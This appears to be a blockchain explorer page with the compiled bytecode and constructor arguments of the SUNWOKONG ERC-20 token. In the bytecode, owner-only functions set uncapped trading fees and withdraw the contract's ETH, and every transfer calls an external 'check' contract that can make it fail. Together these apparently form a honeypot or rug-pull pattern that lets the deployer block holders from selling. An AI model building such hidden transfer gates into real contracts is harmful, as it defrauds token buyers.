ffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b2b91906123de565b60405180910390a3505050565b6000611b7a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611791565b905092915050565b600081359050611b91816126af565b92915050565b600081519050611ba6816126af565b92915050565b600081359050611bbb816126c6565b92915050565b600081519050611bd0816126c6565b92915050565b600081359050611be5816126dd565b92915050565b600060208284031215611bfd57600080fd5b6000611c0b84828501611b82565b91505092915050565b600060208284031215611c2657600080fd5b6000611c3484828501611b97565b91505092915050565b60008060408385031215611c5057600080fd5b6000611c5e85828601611b82565b9250506020611c6f85828601611b82565b9150509250929050565b600080600060608486031215611c8e57600080fd5b6000611c9c86828701611b82565b9350506020611cad86828701611b82565b9250506040611cbe86828701611bac565b9150509250925092565b60008060408385031215611cdb57600080fd5b6000611ce985828601611b82565b9250506020611cfa85828601611bac565b9150509250929050565b600080600060608486031215611d1957600080fd5b6000611d2786828701611bc1565b9350506020611d3886828701611bc1565b9250506040611d4986828701611bc1565b9150509250925092565b60008060408385031215611d6657600080fd5b6000611d7485828601611bd6565b9250506020611d8585828601611bd6565b9150509250929050565b611d9881612545565b82525050565b611da781612557565b82525050565b611db68161259a565b82525050565b6000611dc782612414565b611dd1818561241f565b9350611de18185602086016125ac565b611dea8161269e565b840191505092915050565b6000611e0260238361241f565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611e6860268361241f565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611ece60228361241f565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611f34601b8361241f565b91507f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006000830152602082019050919050565b6000611f7460208361241f565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000611fb460258361241f565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061201a60248361241f565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612080600f8361241f565b91507f5573696e672030206164647265737300000000000000000000000000000000006000830152602082019050919050565b60006120c060178361241f565b91507f74726164696e6720697320616c7265616479206f70656e0000000000000000006000830152602082019050919050565b600061210060248361241f565b91507f546f6b656e2076616c7565206d75737420626520686967686572207468616e2060008301527f7a65726f000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b61216281612583565b82525050565b6121718161258d565b82525050565b600060208201905061218c6000830184611d8f565b92915050565b60006040820190506121a76000830185611d8f565b6121b46020830184611d8f565b9392505050565b60006080820190506121d06000830187611d8f565b6121dd6020830186611d8f565b6121ea6040830185611d8f565b6121f76060830184611d8f565b95945050505050565b600060c0820190506122156000830189611d8f565b6122226020830188612159565b61222f6040830187611dad565b61223c6060830186611dad565b6122496080830185611d8f565b61225660a0830184612159565b979650505050505050565b60006020820190506122766000830184611d9e565b92915050565b600060208201905081810360008301526122968184611dbc565b905092915050565b600060208201905081810360008301526122b781611df5565b9050919050565b600060208201905081810360008301526122d781611e5b565b9050919050565b600060208201905081810360008301526122f781611ec1565b9050919050565b6000602082019050818103600083015261231781611f27565b9050919050565b6000602082019050818103600083015261233781611f67565b9050919050565b6000602082019050818103600083015261235781611fa7565b9050919050565b600060208201905081810360008301526123778161200d565b9050919050565b6000602082019050818103600083015261239781612073565b9050919050565b600060208201905081810360008301526123b7816120b3565b9050919050565b600060208201905081810360008301526123d7816120f3565b9050919050565b60006020820190506123f36000830184612159565b92915050565b600060208201905061240e6000830184612168565b92915050565b600081519050919050565b600082825260208201905092915050565b600061243b82612583565b915061244683612583565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561247b5761247a612611565b5b828201905092915050565b600061249182612583565b915061249c83612583565b9250826124ac576124ab612640565b5b828204905092915050565b60006124c282612583565b91506124cd83612583565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561250657612505612611565b5b828202905092915050565b600061251c82612583565b915061252783612583565b92508282101561253a57612539612611565b5b828203905092915050565b600061255082612563565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006125a582612583565b9050919050565b60005b838110156125ca5780820151818401526020810190506125af565b838111156125d9576000848401525b50505050565b600060028204905060018216806125f757607f821691505b6020821081141561260b5761260a61266f565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b6126b881612545565b81146126c357600080fd5b50565b6126cf81612583565b81146126da57600080fd5b50565b6126e68161258d565b81146126f157600080fd5b5056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a5dc14ec9ab9d9004b560b8be118f74a6389980f2e69a01d249fa9ff126813cd64736f6c63430008000033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000080952ef1323eb737d6302af60e7b0bb2dae85500000000000000000000000000000000000000000000000000000000000000000953554e574f4b4f4e470000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000953554e574f4b4f4e470000000000000000000000000000000000000000000000

Deployed Bytecode

0x60806040526004361061010d5760003560e01c80638da5cb5b11610095578063a9128ff011610064578063a9128ff014610368578063c9567bf914610391578063cc1776d3146103a8578063dd62ed3e146103d3578063f2fde38b1461041057610114565b80638da5cb5b146102aa57806395d89b41146102d5578063a8b0898214610300578063a9059cbb1461032b57610114565b806323b872dd116100dc57806323b872dd146101c3578063313ce567146102005780634f7041a51461022b57806370a0823114610256578063715018a61461029357610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806320800a00146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610439565b60405161013b919061227c565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190611cc8565b6104cb565b6040516101789190612261565b60405180910390f35b34801561018d57600080fd5b506101966104e9565b6040516101a391906123de565b60405180910390f35b3480156101b857600080fd5b506101c16104f3565b005b3480156101cf57600080fd5b506101ea60048036038101906101e59190611c79565b6105f3565b6040516101f79190612261565b60405180910390f35b34801561020c57600080fd5b506102156106cc565b60405161022291906123f9565b60405180910390f35b34801561023757600080fd5b506102406106d5565b60405161024d91906123f9565b60405180910390f35b34801561026257600080fd5b5061027d60048036038101906102789190611beb565b6106e8565b60405161028a91906123de565b60405180910390f35b34801561029f57600080fd5b506102a8610731565b005b3480156102b657600080fd5b506102bf610884565b6040516102cc9190612177565b60405180910390f35b3480156102e157600080fd5b506102ea6108ad565b6040516102f7919061227c565b60405180910390f35b34801561030c57600080fd5b5061031561093f565b6040516103229190612177565b60405180910390f35b34801561033757600080fd5b50610352600480360381019061034d9190611cc8565b610969565b60405161035f9190612261565b60405180910390f35b34801561037457600080fd5b5061038f600480360381019061038a9190611d53565b610987565b005b34801561039d57600080fd5b506103a6610a56565b005b3480156103b457600080fd5b506103bd610eb8565b6040516103ca91906123f9565b60405180910390f35b3480156103df57600080fd5b506103fa60048036038101906103f59190611c3d565b610ecb565b60405161040791906123de565b60405180910390f35b34801561041c57600080fd5b5061043760048036038101906104329190611beb565b610f52565b005b606060058054610448906125df565b80601f0160208091040260200160405190810160405280929190818152602001828054610474906125df565b80156104c15780601f10610496576101008083540402835291602001916104c1565b820191906000526020600020905b8154815290600101906020018083116104a457829003601f168201915b5050505050905090565b60006104df6104d8611172565b848461117a565b6001905092915050565b6000600454905090565b6104fb611172565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610588576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161057f9061231e565b60405180910390fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156105f0573d6000803e3d6000fd5b50565b6000610600848484611345565b6106c18461060c611172565b6106bc8560405180606001604052806028815260200161271b60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610672611172565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117919092919063ffffffff16565b61117a565b600190509392505050565b60006012905090565b600a60149054906101000a900460ff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610739611172565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107bd9061231e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546108bc906125df565b80601f01602080910402602001604051908101604052809291908181526020018280546108e8906125df565b80156109355780601f1061090a57610100808354040283529160200191610935565b820191906000526020600020905b81548152906001019060200180831161091857829003601f168201915b5050505050905090565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600061097d610976611172565b8484611345565b6001905092915050565b61098f611172565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a139061231e565b60405180910390fd5b81600a60146101000a81548160ff021916908360ff16021790555080600a60156101000a81548160ff021916908360ff1602179055505050565b610a5e611172565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aeb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae29061231e565b60405180910390fd5b600960149054906101000a900460ff1615610b3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b329061239e565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610bc530600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610bc0306106e8565b61117a565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610c2d57600080fd5b505afa158015610c41573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c659190611c14565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ce957600080fd5b505afa158015610cfd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d219190611c14565b6040518363ffffffff1660e01b8152600401610d3e929190612192565b602060405180830381600087803b158015610d5857600080fd5b505af1158015610d6c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d909190611c14565b600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610e19306106e8565b600080610e24611172565b426040518863ffffffff1660e01b8152600401610e4696959493929190612200565b6060604051808303818588803b158015610e5f57600080fd5b505af1158015610e73573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e989190611d04565b5050506001600960146101000a81548160ff021916908315150217905550565b600a60159054906101000a900460ff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f5a611172565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fe7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fde9061231e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611057576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104e906122be565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008082846111239190612430565b905083811015611168576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115f906122fe565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e19061235e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561125a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611251906122de565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161133891906123de565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113af5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b6113ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e59061237e565b60405180910390fd5b60008111611431576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611428906123be565b60405180910390fd5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806114d25750600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806115835750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156115825750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b5b15611598576115938383836117f5565b61178c565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156116455750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561166457600a60149054906101000a900460ff1660ff16905061172b565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561170f5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b1561172a57600a60159054906101000a900460ff1660ff1690505b5b60008114156117455761173f8484846117f5565b5061178c565b60006064828461175591906124b7565b61175f9190612486565b905061176c8530836117f5565b61178985856117848487611b3890919063ffffffff16565b6117f5565b50505b505050565b60008383111582906117d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d0919061227c565b60405180910390fd5b50600083856117e89190612511565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611865576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185c9061233e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118cc9061229e565b60405180910390fd5b611941816040518060600160405280602681526020016126f560269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117919092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119d681600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461111490919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634bcb7cd830600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1686866040518563ffffffff1660e01b8152600401611a9c94939291906121bb565b600060405180830381600087803b158015611ab657600080fd5b505af1158015611aca573d6000803e3d6000fd5b505050508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b2b91906123de565b60405180910390a3505050565b6000611b7a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611791565b905092915050565b600081359050611b91816126af565b92915050565b600081519050611ba6816126af565b92915050565b600081359050611bbb816126c6565b92915050565b600081519050611bd0816126c6565b92915050565b600081359050611be5816126dd565b92915050565b600060208284031215611bfd57600080fd5b6000611c0b84828501611b82565b91505092915050565b600060208284031215611c2657600080fd5b6000611c3484828501611b97565b91505092915050565b60008060408385031215611c5057600080fd5b6000611c5e85828601611b82565b9250506020611c6f85828601611b82565b9150509250929050565b600080600060608486031215611c8e57600080fd5b6000611c9c86828701611b82565b9350506020611cad86828701611b82565b9250506040611cbe86828701611bac565b9150509250925092565b60008060408385031215611cdb57600080fd5b6000611ce985828601611b82565b9250506020611cfa85828601611bac565b9150509250929050565b600080600060608486031215611d1957600080fd5b6000611d2786828701611bc1565b9350506020611d3886828701611bc1565b9250506040611d4986828701611bc1565b9150509250925092565b60008060408385031215611d6657600080fd5b6000611d7485828601611bd6565b9250506020611d8585828601611bd6565b9150509250929050565b611d9881612545565b82525050565b611da781612557565b82525050565b611db68161259a565b82525050565b6000611dc782612414565b611dd1818561241f565b9350611de18185602086016125ac565b611dea8161269e565b840191505092915050565b6000611e0260238361241f565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611e6860268361241f565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611ece60228361241f565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611f34601b8361241f565b91507f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006000830152602082019050919050565b6000611f7460208361241f565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000611fb460258361241f565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061201a60248361241f565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612080600f8361241f565b91507f5573696e672030206164647265737300000000000000000000000000000000006000830152602082019050919050565b60006120c060178361241f565b91507f74726164696e6720697320616c7265616479206f70656e0000000000000000006000830152602082019050919050565b600061210060248361241f565b91507f546f6b656e2076616c7565206d75737420626520686967686572207468616e2060008301527f7a65726f000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b61216281612583565b82525050565b6121718161258d565b82525050565b600060208201905061218c6000830184611d8f565b92915050565b60006040820190506121a76000830185611d8f565b6121b46020830184611d8f565b9392505050565b60006080820190506121d06000830187611d8f565b6121dd6020830186611d8f565b6121ea6040830185611d8f565b6121f76060830184611d8f565b95945050505050565b600060c0820190506122156000830189611d8f565b6122226020830188612159565b61222f6040830187611dad565b61223c6060830186611dad565b6122496080830185611d8f565b61225660a0830184612159565b979650505050505050565b60006020820190506122766000830184611d9e565b92915050565b600060208201905081810360008301526122968184611dbc565b905092915050565b600060208201905081810360008301526122b781611df5565b9050919050565b600060208201905081810360008301526122d781611e5b565b9050919050565b600060208201905081810360008301526122f781611ec1565b9050919050565b6000602082019050818103600083015261231781611f27565b9050919050565b6000602082019050818103600083015261233781611f67565b9050919050565b6000602082019050818103600083015261235781611fa7565b9050919050565b600060208201905081810360008301526123778161200d565b9050919050565b6000602082019050818103600083015261239781612073565b9050919050565b600060208201905081810360008301526123b7816120b3565b9050919050565b600060208201905081810360008301526123d7816120f3565b9050919050565b60006020820190506123f36000830184612159565b92915050565b600060208201905061240e6000830184612168565b92915050565b600081519050919050565b600082825260208201905092915050565b600061243b82612583565b915061244683612583565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561247b5761247a612611565b5b828201905092915050565b600061249182612583565b915061249c83612583565b9250826124ac576124ab612640565b5b828204905092915050565b60006124c282612583565b91506124cd83612583565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561250657612505612611565b5b828202905092915050565b600061251c82612583565b915061252783612583565b92508282101561253a57612539612611565b5b828203905092915050565b600061255082612563565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006125a582612583565b9050919050565b60005b838110156125ca5780820151818401526020810190506125af565b838111156125d9576000848401525b50505050565b600060028204905060018216806125f757607f821691505b6020821081141561260b5761260a61266f565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b6126b881612545565b81146126c357600080fd5b50565b6126cf81612583565b81146126da57600080fd5b50565b6126e68161258d565b81146126f157600080fd5b5056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a5dc14ec9ab9d9004b560b8be118f74a6389980f2e69a01d249fa9ff126813cd64736f6c63430008000033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000080952ef1323eb737d6302af60e7b0bb2dae85500000000000000000000000000000000000000000000000000000000000000000953554e574f4b4f4e470000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000953554e574f4b4f4e470000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name (string): SUNWOKONG
Arg [1] : symbol (string): SUNWOKONG
Arg [2] : contractCheckRouterAddress (address): 0x80952EF1323Eb737d6302aF60e7b0bB2dAe85500

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 00000000000000000000000080952ef1323eb737d6302af60e7b0bb2dae85500
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [4] : 53554e574f4b4f4e470000000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [6] : 53554e574f4b4f4e470000000000000000000000000000000000000000000000


Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.